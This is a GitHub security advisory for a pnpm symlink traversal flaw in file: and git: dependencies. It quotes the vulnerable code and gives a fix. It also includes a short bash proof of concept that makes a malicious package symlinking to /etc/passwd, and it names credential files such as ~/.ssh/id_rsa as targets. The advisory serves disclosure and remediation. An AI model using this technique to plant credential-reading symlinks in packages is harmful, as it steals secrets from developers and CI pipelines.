GHSA-m733-5w8f-5ggw
pnpm has symlink traversal in file:/git dependencies
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
When pnpm installs a `file:` (directory) or `git:` dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., `/etc/passwd`, `~/.ssh/id_rsa`) causes pnpm to copy that file's contents into `node_modules`, leaking local data.
**Preconditions:** Only affects `file:` and `git:` dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.
### Details
The vulnerability exists in `store/cafs/src/addFilesFromDir.ts`. The code uses `fs.statSync()` and `readFileSync()` which follow symlinks by default:
```typescript
const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath) // Follows symlinks!
const buffer = fs.readFileSync(absolutePath) // Reads symlink TARGET
```
There is no check that `absolutePath` resolves to a location inside the package directory.
### PoC
```bash
# Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json
# Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil
# Leaked!
cat node_modules/evil/leaked-passwd.txt
```
### Impact
- Developers installing local/file dependencies
- CI/CD pipelines installing git dependencies
- Credential theft via symlinks to `~/.aws/credentials`, `~/.npmrc`, `~/.ssh/id_rsa`
### Suggested Fix
Use `lstatSync` to detect symlinks and reject those pointing outside the package root in `store/cafs/src/addFilesFromDir.ts`.
References
External links from the advisory. They lead to third-party sites.